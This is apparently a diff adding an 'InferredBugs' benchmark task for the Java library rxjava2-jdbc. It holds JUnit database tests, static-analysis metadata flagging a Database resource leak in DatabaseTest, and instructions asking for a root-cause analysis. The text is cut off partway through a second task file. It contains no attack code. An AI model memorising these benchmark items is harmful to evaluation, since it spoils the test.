+                .connectionProvider(DatabaseCreator.connectionProvider()) //
+                .scheduler(Schedulers.io()) //
+                .maxPoolSize(1) //
+                .build();
+        pool.close();
+        Database.from(pool) //
+                .select("select score from person where name=?") //
+                .parameter("FRED") //
+                .getAs(Integer.class) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertNoValues() //
+                .assertError(PoolClosedException.class);
+    }
+
+    @Test
+    public void testFewerColumnsMappedThanAvailable() {
+        db().select("select name, score from person where name='FRED'") //
+                .getAs(String.class) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues("FRED") //
+                .assertComplete();
+    }
+
+    @Test
+    public void testMoreColumnsMappedThanAvailable() {
+        db() //
+                .select("select name, score from person where name='FRED'") //
+                .getAs(String.class, Integer.class, String.class) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertNoValues() //
+                .assertError(MoreColumnsRequestedThanExistException.class);
+    }
+
+    @Test
+    public void testSelectTimestamp() {
+        db() //
+                .select("select registered from person where name='FRED'") //
+                .getAs(Long.class) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(FRED_REGISTERED_TIME) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testSelectTimestampAsDate() {
+        db() //
+                .select("select registered from person where name='FRED'") //
+                .getAs(Date.class) //
+                .map(d -> d.getTime()) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(FRED_REGISTERED_TIME) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testSelectTimestampAsInstant() {
+        db() //
+                .select("select registered from person where name='FRED'") //
+                .getAs(Instant.class) //
+                .map(d -> d.toEpochMilli()) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(FRED_REGISTERED_TIME) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateCalendarParameter() {
+        Calendar c = GregorianCalendar.from(ZonedDateTime.parse("2017-03-25T15:37Z"));
+        Database db = db();
+        db.update("update person set registered=?") //
+                .parameter(c) //
+                .counts() //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(3) //
+                .assertComplete();
+        db.select("select registered from person") //
+                .getAs(Long.class) //
+                .firstOrError() //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(c.getTimeInMillis()) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateTimeParameter() {
+        Database db = db();
+        Time t = new Time(1234);
+        db.update("update person set registered=?") //
+                .parameter(t) //
+                .counts() //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(3) //
+                .assertComplete();
+        db.select("select registered from person") //
+                .getAs(Long.class) //
+                .firstOrError() //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(1234L) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateTimestampParameter() {
+        Database db = db();
+        Timestamp t = new Timestamp(1234);
+        db.update("update person set registered=?") //
+                .parameter(t) //
+                .counts() //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(3) //
+                .assertComplete();
+        db.select("select registered from person") //
+                .getAs(Long.class) //
+                .firstOrError() //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(1234L) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateSqlDateParameter() {
+        Database db = db();
+        java.sql.Date t = new java.sql.Date(1234);
+
+        db.update("update person set registered=?") //
+                .parameter(t) //
+                .counts() //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(3) //
+                .assertComplete();
+        db.select("select registered from person") //
+                .getAs(Long.class) //
+                .firstOrError() //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS * 10000, TimeUnit.SECONDS) //
+                // TODO make a more accurate comparison using the current TZ
+                .assertValue(x -> Math.abs(x - 1234) <= TimeUnit.HOURS.toMillis(24)) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateUtilDateParameter() {
+        Database db = db();
+        Date d = new Date(1234);
+        db.update("update person set registered=?") //
+                .parameter(d) //
+                .counts() //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(3) //
+                .assertComplete();
+        db.select("select registered from person") //
+                .getAs(Long.class) //
+                .firstOrError() //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(1234L) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateTimestampAsInstant() {
+        Database db = db();
+        db.update("update person set registered=? where name='FRED'") //
+                .parameter(Instant.ofEpochMilli(FRED_REGISTERED_TIME)) //
+                .counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(1) //
+                .assertComplete();
+        db.select("select registered from person where name='FRED'") //
+                .getAs(Long.class) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(FRED_REGISTERED_TIME) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateTimestampAsZonedDateTime() {
+        Database db = db();
+        db.update("update person set registered=? where name='FRED'") //
+                .parameter(ZonedDateTime.ofInstant(Instant.ofEpochMilli(FRED_REGISTERED_TIME),
+                        ZoneOffset.UTC.normalized())) //
+                .counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(1) //
+                .assertComplete();
+        db.select("select registered from person where name='FRED'") //
+                .getAs(Long.class) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(FRED_REGISTERED_TIME) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testCompleteCompletes() {
+        Database db = db(1);
+        db //
+                .update("update person set score=-3 where name='FRED'") //
+                .complete() //
+                .timeout(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .blockingAwait();
+
+        int score = db.select("select score from person where name='FRED'") //
+                .getAs(Integer.class) //
+                .timeout(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .blockingFirst();
+        assertEquals(-3, score);
+    }
+
+    @Test
+    public void testComplete() throws InterruptedException {
+        Database db = db(1);
+        Completable a = db //
+                .update("update person set score=-3 where name='FRED'") //
+                .complete();
+        db.update("update person set score=-4 where score = -3") //
+                .dependsOn(a) //
+                .counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(1) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testCountsOnlyInTransaction() {
+        db().update("update person set score = -3") //
+                .transacted() //
+                .countsOnly() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(3) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testCountsInTransaction() {
+        db().update("update person set score = -3") //
+                .transacted() //
+                .counts() //
+                .doOnNext(System.out::println) //
+                .toList() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(list -> list.get(0).isValue() && list.get(0).value() == 3
+                        && list.get(1).isComplete() && list.size() == 2) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testTx() throws InterruptedException {
+        Database db = db(3);
+        Single<Tx<?>> transaction = db //
+                .update("update person set score=-3 where name='FRED'") //
+                .transaction();
+
+        transaction //
+                .doOnDispose(() -> log.debug("disposing")) //
+                .doOnSuccess(System.out::println) //
+                .flatMapPublisher(tx -> {
+                    log.debug("flatmapping");
+                    return tx //
+                            .update("update person set score = -4 where score = -3") //
+                            .countsOnly() //
+                            .doOnSubscribe(s -> log.debug("subscribed")) //
+                            .doOnNext(num -> log.debug("num=" + num));
+                }) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertNoErrors() //
+                .assertValue(1) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testTxAfterSelect() {
+        Database db = db(3);
+        Single<Tx<Integer>> transaction = db //
+                .select("select score from person where name='FRED'") //
+                .transactedValuesOnly() //
+                .getAs(Integer.class) //
+                .firstOrError();
+
+        transaction //
+                .doOnDispose(() -> log.debug("disposing")) //
+                .doOnSuccess(System.out::println) //
+                .flatMapPublisher(tx -> {
+                    log.debug("flatmapping");
+                    return tx //
+                            .update("update person set score = -4 where score = ?") //
+                            .parameter(tx.value()) //
+                            .countsOnly() //
+                            .doOnSubscribe(s -> log.debug("subscribed")) //
+                            .doOnNext(num -> log.debug("num=" + num));
+                }) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertNoErrors() //
+                .assertValue(1) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testSingleFlatMap() {
+        Single.just(1).flatMapPublisher(n -> Flowable.just(1)).test(1).assertValue(1)
+                .assertComplete();
+    }
+
+    @Test
+    public void testAutomappedInstanceHasMeaningfulToStringMethod() {
+        info();
+        String s = Database.test() //
+                .select("select name, score from person where name=?") //
+                .parameterStream(Flowable.just("FRED")) //
+                .autoMap(Person2.class) //
+                .map(x -> x.toString()) //
+                .blockingSingle();
+        assertEquals("Person2[name=FRED, score=21]", s);
+    }
+
+    @Test
+    public void testAutomappedEquals() {
+        boolean b = Database.test() //
+                .select("select name, score from person where name=?") //
+                .parameterStream(Flowable.just("FRED")) //
+                .autoMap(Person2.class) //
+                .map(x -> x.equals(x)) //
+                .blockingSingle();
+        assertTrue(b);
+    }
+
+    @Test
+    public void testAutomappedDoesNotEqualNull() {
+        boolean b = Database.test() //
+                .select("select name, score from person where name=?") //
+                .parameterStream(Flowable.just("FRED")) //
+                .autoMap(Person2.class) //
+                .map(x -> x.equals(null)) //
+                .blockingSingle();
+        assertFalse(b);
+    }
+
+    @Test
+    public void testAutomappedDoesNotEqual() {
+        boolean b = Database.test() //
+                .select("select name, score from person where name=?") //
+                .parameterStream(Flowable.just("FRED")) //
+                .autoMap(Person2.class) //
+                .map(x -> x.equals(new Object())) //
+                .blockingSingle();
+        assertFalse(b);
+    }
+
+    @Test
+    public void testAutomappedHashCode() {
+        Person2 p = Database.test() //
+                .select("select name, score from person where name=?") //
+                .parameterStream(Flowable.just("FRED")) //
+                .autoMap(Person2.class) //
+                .blockingSingle();
+        assertTrue(p.hashCode() != 0);
+    }
+
+    @Test
+    public void testAutomappedWithParametersThatProvokesMoreThanOneQuery() {
+        Database.test() //
+                .select("select name, score from person where name=?") //
+                .parameters("FRED", "FRED") //
+                .autoMap(Person2.class) //
+                .doOnNext(System.out::println) //
+                .test() //
+                .awaitDone(2000, TimeUnit.SECONDS) //
+                .assertNoErrors() //
+                .assertValueCount(2) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testAutomappedObjectsEqualsAndHashCodeIsDistinctOnValues() {
+        Database.test() //
+                .select("select name, score from person where name=?") //
+                .parameters("FRED", "FRED") //
+                .autoMap(Person2.class) //
+                .distinct() //
+                .doOnNext(System.out::println) //
+                .test() //
+                .awaitDone(2000, TimeUnit.SECONDS) //
+                .assertNoErrors() //
+                .assertValueCount(1) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testAutomappedObjectsEqualsDifferentiatesDifferentInterfacesWithSameMethodNamesAndValues() {
+        PersonDistinct1 p1 = Database.test() //
+                .select("select name, score from person where name=?") //
+                .parameters("FRED") //
+                .autoMap(PersonDistinct1.class) //
+                .blockingFirst();
+
+        PersonDistinct2 p2 = Database.test() //
+                .select("select name, score from person where name=?") //
+                .parameters("FRED") //
+                .autoMap(PersonDistinct2.class) //
+                .blockingFirst();
+
+        assertNotEquals(p1, p2);
+    }
+
+    @Test
+    public void testAutomappedObjectsWhenDefaultMethodInvoked() {
+        PersonWithDefaultMethod p = Database.test() //
+                .select("select name, score from person where name=?") //
+                .parameters("FRED") //
+                .autoMap(PersonWithDefaultMethod.class) //
+                .blockingFirst();
+        assertEquals("fred", p.nameLower());
+    }
+
+    // @Test
+    // public void testDefaultMethod() throws NoSuchMethodException,
+    // IllegalAccessException {
+    // MethodHandles.lookup().findSpecial(PersonWithDefaultMethod.class,
+    // "nameLower",
+    // MethodType.methodType(String.class, new Class[] {}),
+    // PersonWithDefaultMethod.class)
+    //// .bindTo(x);
+    // }
+
+    @Test(expected = AutomappedInterfaceInaccessibleException.class)
+    public void testAutomappedObjectsWhenDefaultMethodInvokedAndIsNonPublicThrows() {
+        PersonWithDefaultMethodNonPublic p = Database.test() //
+                .select("select name, score from person where name=?") //
+                .parameters("FRED") //
+                .autoMap(PersonWithDefaultMethodNonPublic.class) //
+                .blockingFirst();
+        p.nameLower();
+    }
+
+    @Test
+    public void testBlockingDatabase() {
+        Database db = blocking();
+        db.select("select score from person where name=?") //
+                .parameters("FRED", "JOSEPH") //
+                .getAs(Integer.class) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertNoErrors() //
+                .assertValues(21, 34) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testBlockingDatabaseTransacted() {
+        Database db = blocking();
+        db.select("select score from person where name=?") //
+                .parameters("FRED", "JOSEPH") //
+                .transactedValuesOnly() //
+                .getAs(Integer.class) //
+                .map(x -> x.value()) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertNoErrors() //
+                .assertValues(21, 34) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testBlockingDatabaseTransactedNested() {
+        Database db = blocking();
+        db.select("select score from person where name=?") //
+                .parameters("FRED", "JOSEPH") //
+                .transactedValuesOnly() //
+                .getAs(Integer.class) //
+                .flatMap(tx -> tx.select("select name from person where score=?") //
+                        .parameter(tx.value()) //
+                        .valuesOnly() //
+                        .getAs(String.class))
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertNoErrors() //
+                .assertValues("FRED", "JOSEPH") //
+                .assertComplete();
+    }
+
+    public interface PersonWithDefaultMethod {
+        @Column
+        String name();
+
+        @Column
+        int score();
+
+        public default String nameLower() {
+            return name().toLowerCase();
+        }
+    }
+
+    interface PersonWithDefaultMethodNonPublic {
+        @Column
+        String name();
+
+        @Column
+        int score();
+
+        default String nameLower() {
+            return name().toLowerCase();
+        }
+    }
+
+    interface PersonDistinct1 {
+        @Column
+        String name();
+
+        @Column
+        int score();
+
+    }
+
+    interface PersonDistinct2 {
+        @Column
+        String name();
+
+        @Column
+        int score();
+
+    }
+
+    interface Score {
+        @Column
+        int score();
+    }
+
+    interface Person {
+        @Column
+        String name();
+    }
+
+    interface Person2 {
+        @Column
+        String name();
+
+        @Column
+        int score();
+    }
+
+    interface Person3 {
+        @Column("name")
+        String fullName();
+
+        @Column("score")
+        int examScore();
+    }
+
+    interface Person4 {
+        @Column("namez")
+        String fullName();
+
+        @Column("score")
+        int examScore();
+    }
+
+    interface Person5 {
+        @Index(1)
+        String fullName();
+
+        @Index(2)
+        int examScore();
+    }
+
+    interface Person6 {
+        @Index(1)
+        String fullName();
+
+        @Index(3)
+        int examScore();
+    }
+
+    interface Person7 {
+        @Index(1)
+        String fullName();
+
+        @Index(0)
+        int examScore();
+    }
+
+    interface Person8 {
+        @Column
+        int name();
+    }
+
+    interface Person9 {
+        @Column
+        String name();
+
+        @Index(2)
+        int score();
+    }
+
+    interface PersonNoAnnotation {
+        String name();
+    }
+
+    @Query("select name, score from person order by name")
+    interface Person10 {
+
+        @Column
+        String name();
+
+        @Column
+        int score();
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.davidmoten.rx.jdbc.Database` acquired by call to `db()` at line 1042 is not released after line 1044.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void DatabaseTest.testAutoMapWithMixIndexAndName()
+
+### Procedure Id:
+org.davidmoten.rx.jdbc.DatabaseTest.testAutoMapWithMixIndexAndName():void.441e755eae773c1b366491468441a99e
+
+### File:
+src/test/java/org/davidmoten/rx/jdbc/DatabaseTest.java
+
+### Key:
+DatabaseTest.java|testAutoMapWithMixIndexAndName|RESOURCE_LEAK
+
+### Node Key:
+42f56fda1ad408e362508b93a175bb0c
+
+### Hash:
+7d90caabf45b9423dd4b4370dc606db4
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10874/instruction.md b/inferredbugs-10874/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..7bf1a01daba6054e805cbe57d4f70d63e079028b
--- /dev/null
+++ b/inferredbugs-10874/instruction.md
@@ -0,0 +1,2432 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** rxjava2-jdbc
+**Bug ID:** 58
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.davidmoten.rx.jdbc;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertTrue;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.io.FileReader;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.Reader;
+import java.sql.Blob;
+import java.sql.Clob;
+import java.sql.Connection;
+import java.sql.SQLException;
+import java.sql.SQLSyntaxErrorException;
+import java.sql.Time;
+import java.sql.Timestamp;
+import java.time.Instant;
+import java.time.ZoneOffset;
+import java.time.ZonedDateTime;
+import java.util.Arrays;
+import java.util.Calendar;
+import java.util.Date;
+import java.util.GregorianCalendar;
+import java.util.List;
+import java.util.Optional;
+import java.util.concurrent.CopyOnWriteArrayList;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+import java.util.concurrent.atomic.AtomicBoolean;
+import java.util.concurrent.atomic.AtomicInteger;
+
+import org.apache.log4j.Level;
+import org.apache.log4j.LogManager;
+import org.davidmoten.rx.jdbc.annotations.Column;
+import org.davidmoten.rx.jdbc.annotations.Index;
+import org.davidmoten.rx.jdbc.annotations.Query;
+import org.davidmoten.rx.jdbc.exceptions.AnnotationsNotFoundException;
+import org.davidmoten.rx.jdbc.exceptions.AutomappedInterfaceInaccessibleException;
+import org.davidmoten.rx.jdbc.exceptions.ColumnIndexOutOfRangeException;
+import org.davidmoten.rx.jdbc.exceptions.ColumnNotFoundException;
+import org.davidmoten.rx.jdbc.exceptions.MoreColumnsRequestedThanExistException;
+import org.davidmoten.rx.jdbc.exceptions.NamedParameterFoundButSqlDoesNotHaveNamesException;
+import org.davidmoten.rx.jdbc.exceptions.NamedParameterMissingException;
+import org.davidmoten.rx.jdbc.exceptions.QueryAnnotationMissingException;
+import org.davidmoten.rx.jdbc.pool.DatabaseCreator;
+import org.davidmoten.rx.jdbc.pool.NonBlockingConnectionPool;
+import org.davidmoten.rx.jdbc.pool.Pools;
+import org.davidmoten.rx.jdbc.tuple.Tuple2;
+import org.davidmoten.rx.jdbc.tuple.Tuple3;
+import org.davidmoten.rx.jdbc.tuple.Tuple4;
+import org.davidmoten.rx.jdbc.tuple.Tuple5;
+import org.davidmoten.rx.jdbc.tuple.Tuple6;
+import org.davidmoten.rx.jdbc.tuple.Tuple7;
+import org.davidmoten.rx.jdbc.tuple.TupleN;
+import org.davidmoten.rx.pool.PoolClosedException;
+import org.h2.jdbc.JdbcSQLException;
+import org.hsqldb.jdbc.JDBCBlobFile;
+import org.hsqldb.jdbc.JDBCClobFile;
+import org.junit.Assert;
+import org.junit.FixMethodOrder;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runners.MethodSorters;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import com.github.davidmoten.guavamini.Lists;
+
+import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
+import io.reactivex.Completable;
+import io.reactivex.Flowable;
+import io.reactivex.Observable;
+import io.reactivex.Scheduler;
+import io.reactivex.Single;
+import io.reactivex.functions.Predicate;
+import io.reactivex.schedulers.Schedulers;
+import io.reactivex.schedulers.TestScheduler;
+import io.reactivex.subscribers.TestSubscriber;
+
+@FixMethodOrder(MethodSorters.NAME_ASCENDING)
+public class DatabaseTest {
+
+    private static final long FRED_REGISTERED_TIME = 1442515672690L;
+    private static final int NAMES_COUNT_BIG = 5163;
+    private static final Logger log = LoggerFactory.getLogger(DatabaseTest.class);
+    private static final int TIMEOUT_SECONDS = 2;
+
+    private static Database db() {
+        return DatabaseCreator.create(1);
+    }
+
+    private static Database blocking() {
+        return DatabaseCreator.createBlocking();
+    }
+
+    private static Database db(int poolSize) {
+        return DatabaseCreator.create(poolSize);
+    }
+
+    private static Database big(int poolSize) {
+        return DatabaseCreator.create(poolSize, true, Schedulers.computation());
+    }
+
+    @Test
+    public void testSelectUsingQuestionMark() {
+        try (Database db = db()) {
+            db.select("select score from person where name=?") //
+                    .parameters("FRED", "JOSEPH") //
+                    .getAs(Integer.class) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertNoErrors() //
+                    .assertValues(21, 34) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testSelectUsingNamedParameterList() {
+        try (Database db = db()) {
+            db.select("select score from person where name=:name") //
+                    .parameters(Parameter.named("name", "FRED").value("JOSEPH").list()) //
+                    .getAs(Integer.class) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertNoErrors() //
+                    .assertValues(21, 34) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testSelectUsingQuestionMarkFlowableParameters() {
+        try (Database db = db()) {
+            db.select("select score from person where name=?") //
+                    .parameterStream(Flowable.just("FRED", "JOSEPH")) //
+                    .getAs(Integer.class) //
+                    .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertNoErrors() //
+                    .assertValues(21, 34) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testSelectUsingQuestionMarkFlowableParametersInLists() {
+        try (Database db = db()) {
+            db.select("select score from person where name=?") //
+                    .parameterListStream(
+                            Flowable.just(Arrays.asList("FRED"), Arrays.asList("JOSEPH"))) //
+                    .getAs(Integer.class) //
+                    .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertNoErrors() //
+                    .assertValues(21, 34) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testDrivingSelectWithoutParametersUsingParameterStream() {
+        try (Database db = db()) {
+            db.select("select count(*) from person") //
+                    .parameters(1, 2, 3) //
+                    .getAs(Integer.class) //
+                    .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValues(3, 3, 3) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testSelectUsingQuestionMarkFlowableParametersTwoParametersPerQuery() {
+        try (Database db = db()) {
+            db.select("select score from person where name=? and score = ?") //
+                    .parameterStream(Flowable.just("FRED", 21, "JOSEPH", 34)) //
+                    .getAs(Integer.class) //
+                    .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertNoErrors() //
+                    .assertValues(21, 34) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testSelectUsingQuestionMarkFlowableParameterListsTwoParametersPerQuery() {
+        try (Database db = db()) {
+            db.select("select score from person where name=? and score = ?") //
+                    .parameterListStream(
+                            Flowable.just(Arrays.asList("FRED", 21), Arrays.asList("JOSEPH", 34))) //
+                    .getAs(Integer.class) //
+                    .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertNoErrors() //
+                    .assertValues(21, 34) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testSelectUsingQuestionMarkWithPublicTestingDatabase() {
+        try (Database db = Database.test()) {
+            db //
+                    .select("select score from person where name=?") //
+                    .parameters("FRED", "JOSEPH") //
+                    .getAs(Integer.class) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertNoErrors() //
+                    .assertValues(21, 34) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testSelectWithFetchSize() {
+        try (Database db = db()) {
+            db.select("select score from person order by name") //
+                    .fetchSize(2) //
+                    .getAs(Integer.class) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertNoErrors() //
+                    .assertValues(21, 34, 25) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testSelectWithFetchSizeZero() {
+        try (Database db = db()) {
+            db.select("select score from person order by name") //
+                    .fetchSize(0) //
+                    .getAs(Integer.class) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertNoErrors() //
+                    .assertValues(21, 34, 25) //
+                    .assertComplete();
+        }
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testSelectWithFetchSizeNegative() {
+        try (Database db = db()) {
+            db.select("select score from person order by name") //
+                    .fetchSize(-1);
+        }
+    }
+
+    @Test
+    public void testSelectUsingNonBlockingBuilder() {
+        NonBlockingConnectionPool pool = Pools //
+                .nonBlocking() //
+                .connectionProvider(DatabaseCreator.connectionProvider()) //
+                .maxIdleTime(1, TimeUnit.MINUTES) //
+                .idleTimeBeforeHealthCheck(1, TimeUnit.MINUTES) //
+                .checkoutRetryInterval(1, TimeUnit.SECONDS) //
+                .healthy(c -> c.prepareStatement("select 1").execute()) //
+                .returnToPoolDelayAfterHealthCheckFailure(1, TimeUnit.SECONDS) //
+                .maxPoolSize(3) //
+                .build();
+
+        try (Database db = Database.from(pool)) {
+            db.select("select score from person where name=?") //
+                    .parameters("FRED", "JOSEPH") //
+                    .getAs(Integer.class) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertNoErrors() //
+                    .assertValues(21, 34) //
+                    .assertComplete();
+        }
+    }
+
+    @Test(timeout = 40000)
+    public void testSelectUsingNonBlockingBuilderConcurrencyTest()
+            throws InterruptedException, TimeoutException {
+        info();
+        try {
+            try (Database db = db(3)) {
+                Scheduler scheduler = Schedulers.from(Executors.newFixedThreadPool(50));
+                int n = 10000;
+                CountDownLatch latch = new CountDownLatch(n);
+                AtomicInteger count = new AtomicInteger();
+                for (int i = 0; i < n; i++) {
+                    db.select("select score from person where name=?") //
+                            .parameters("FRED", "JOSEPH") //
+                            .getAs(Integer.class) //
+                            .subscribeOn(scheduler) //
+                            .toList() //
+                            .doOnSuccess(x -> {
+                                if (!x.equals(Lists.newArrayList(21, 34))) {
+                                    throw new RuntimeException("run broken");
+                                } else {
+                                    // log.debug(iCopy + " succeeded");
+                                }
+                            }) //
+                            .doOnSuccess(x -> {
+                                count.incrementAndGet();
+                                latch.countDown();
+                            }) //
+                            .doOnError(x -> latch.countDown()) //
+                            .subscribe();
+                }
+                if (!latch.await(20, TimeUnit.SECONDS)) {
+                    throw new TimeoutException("timeout");
+                }
+                assertEquals(n, count.get());
+            }
+        } finally {
+            debug();
+        }
+    }
+
+    @Test(timeout = 5000)
+    public void testSelectConcurrencyTest() throws InterruptedException, TimeoutException {
+        debug();
+        try {
+            try (Database db = db(1)) {
+                Scheduler scheduler = Schedulers.from(Executors.newFixedThreadPool(2));
+                int n = 2;
+                CountDownLatch latch = new CountDownLatch(n);
+                AtomicInteger count = new AtomicInteger();
+                for (int i = 0; i < n; i++) {
+                    db.select("select score from person where name=?") //
+                            .parameters("FRED", "JOSEPH") //
+                            .getAs(Integer.class) //
+                            .subscribeOn(scheduler) //
+                            .toList() //
+                            .doOnSuccess(x -> {
+                                if (!x.equals(Lists.newArrayList(21, 34))) {
+                                    throw new RuntimeException("run broken");
+                                }
+                            }) //
+                            .doOnSuccess(x -> {
+                                count.incrementAndGet();
+                                latch.countDown();
+                            }) //
+                            .doOnError(x -> latch.countDown()) //
+                            .subscribe();
+                    log.info("submitted " + i);
+                }
+                if (!latch.await(5000, TimeUnit.SECONDS)) {
+                    throw new TimeoutException("timeout");
+                }
+                assertEquals(n, count.get());
+            }
+        } finally {
+            debug();
+        }
+    }
+
+    @Test
+    public void testDatabaseClose() {
+        try (Database db = db()) {
+            db.select("select score from person where name=?") //
+                    .parameters("FRED", "JOSEPH") //
+                    .getAs(Integer.class) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
